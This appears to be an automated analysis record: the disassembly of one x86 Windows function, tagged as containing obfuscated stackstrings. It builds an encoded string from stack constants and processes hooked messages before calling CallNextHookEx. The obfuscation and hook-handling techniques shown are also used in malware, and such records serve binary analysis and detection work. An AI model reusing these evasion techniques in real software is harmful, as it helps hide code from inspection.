Function at 0x10419434
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xd68
mov eax, 0x104503cc
call fcn.1044d1df
mov edi, dword [ebp + 0x10]
lea eax, [ebp - 0xc80]
push 0xc2a
xor ebx, ebx
push ebx
push eax
call fcn.10426070
pop ecx
pop ecx
lea ecx, [ebp - 0x18]
call fcn.10410131
call fcn.1041a77b
mov dword [ebp - 4], ebx
mov byte [ebp - 4], 1
test edi, edi
je 0x104197ea
cmp dword [edi + 8], 0x4a
jne 0x104197ea
mov esi, dword [edi]
test esi, esi
je 0x104197ea
mov eax, dword [esi]
cmp eax, 0x4cc7c
jne 0x104197dc
mov esi, dword [esi + 8]
lea edi, [ebp - 0xc80]
mov ecx, 0x30a
mov dword [ebp - 0xd5c], 0x7955794d
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0xb57]
mov dword [ebp - 0xd58], 0x72595747
push eax
lea eax, [ebp - 0xc80]
mov dword [ebp - 0xd54], 0x326f6d48
push eax
lea eax, [ebp - 0xc5b]
movsw word es:[edi], word [esi]
push eax
push ebx
lea eax, [ebp - 0xc82]
mov dword [ebp - 0xd50], 0x6e345744
push eax
lea eax, [ebp - 0xd5c]
mov dword [ebp - 0xd4c], 0x784d6950
push eax
lea ecx, [ebp - 0xd68]
mov dword [ebp - 0xd48], 0x3859794b
mov dword [ebp - 0xd44], 0x6a414866
mov dword [ebp - 0xd40], 0x4251574f
mov dword [ebp - 0xd3c], 0x53514142
mov dword [ebp - 0xd38], 0x77595245
mov dword [ebp - 0xd34], 0x4c734341
mov dword [ebp - 0xd30], 0x3349514c
mov dword [ebp - 0xd2c], 0x4b675243
mov dword [ebp - 0xd28], 0x5473444e
mov dword [ebp - 0xd24], 0x556f414d
mov dword [ebp - 0xd20], 0x64517849
mov dword [ebp - 0xd1c], 0x66677943
mov dword [ebp - 0xd18], 0x4e73784e
mov dword [ebp - 0xd14], 0x394d694d
mov dword [ebp - 0xd10], 0x70526863
mov dword [ebp - 0xd0c], 0x7946414e
mov dword [ebp - 0xd08], 0x636f524d
mov dword [ebp - 0xd04], 0x39425264
mov dword [ebp - 0xd00], 0x684a5859
mov dword [ebp - 0xcfc], 0x45517950
mov dword [ebp - 0xcf8], 0x4b6f4462
mov dword [ebp - 0xcf4], 0x37673342
mov dword [ebp - 0xcf0], 0x325a5244
mov dword [ebp - 0xcec], 0x374e514c
mov dword [ebp - 0xce8], 0x466b7943
mov dword [ebp - 0xce4], 0x4d454866
mov dword [ebp - 0xce0], 0x5649544c
mov dword [ebp - 0xcdc], 0x79457763
mov dword [ebp - 0xcd8], 0x7a41434f
mov dword [ebp - 0xcd4], 0x6c4d5149
mov dword [ebp - 0xcd0], 0x726b4447
mov dword [ebp - 0xccc], 0x51454466
mov dword [ebp - 0xcc8], 0x3955324d
mov dword [ebp - 0xcc4], 0x376f6742
mov dword [ebp - 0xcc0], 0x52496a45
mov dword [ebp - 0xcbc], 0x7645544b
mov dword [ebp - 0xcb8], 0x66775343
mov dword [ebp - 0xcb4], 0x516f6e48
mov dword [ebp - 0xcb0], 0x7938684f
mov dword [ebp - 0xcac], 0x516f4144
mov dword [ebp - 0xca8], 0x35495346
mov dword [ebp - 0xca4], 0x77414166
mov dword [ebp - 0xca0], 0x4977434b
mov dword [ebp - 0xc9c], 0x3970484c
mov dword [ebp - 0xc98], 0x70686748
mov dword [ebp - 0xc94], 0x774e524e
mov dword [ebp - 0xc90], 0x36775247
mov dword [ebp - 0xc8c], 0x3267334d
mov dword [ebp - 0xc88], 0x41414141
mov word [ebp - 0xc84], 0x776b
call fcn.104115b3
sub esp, 0xc
mov ecx, esp
push ecx
push dword [eax + 4]
push dword [eax]
call fcn.1041a126
lea ecx, [ebp - 0xd74]
call fcn.10411096
add esp, 0xc
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.10419f7e
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.1041efc6
add esp, 0x14
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xd74]
call fcn.10419fb8
push ecx
lea ecx, [ebp - 0x54]
call fcn.10415e7e
push ecx
lea eax, [ebp - 0xc80]
mov ecx, esp
push eax
call fcn.1041aa50
lea ecx, [ebp - 0x54]
call fcn.10414e1d
lea eax, [ebp - 0xb57]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x24]
call fcn.1041a9b3
lea eax, [ebp - 0x17f]
push eax
lea ecx, [ebp - 0x20]
call fcn.1041a9b3
lea eax, [ebp - 0x7b]
push eax
lea ecx, [ebp - 0x1c]
call fcn.1041a9b3
lea ecx, [ebp - 0x18]
lea esi, [ebp - 0x54]
call fcn.10419ced
push ecx
mov ecx, esp
mov dword [ebp - 0xd60], esp
push eax
call fcn.1041aa50
push ecx
lea eax, [ebp - 0x94f]
mov byte [ebp - 4], 4
mov ecx, esp
push eax
call fcn.1041a71c
mov ecx, esi
mov byte [ebp - 4], 3
call fcn.10418d86
pop ecx
pop ecx
mov ecx, esi
call fcn.10414dff
mov ecx, esi
call fcn.10414f51
jmp 0x104197f8
cmp eax, 0x4d835
jne 0x104197ea
xor ecx, ecx
call fcn.1041931f
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [sym.imp.USER32.dll_CallNextHookEx]
lea ecx, [ebp - 0x18]
call fcn.1041a6bb
call fcn.1044d12c
ret 0xc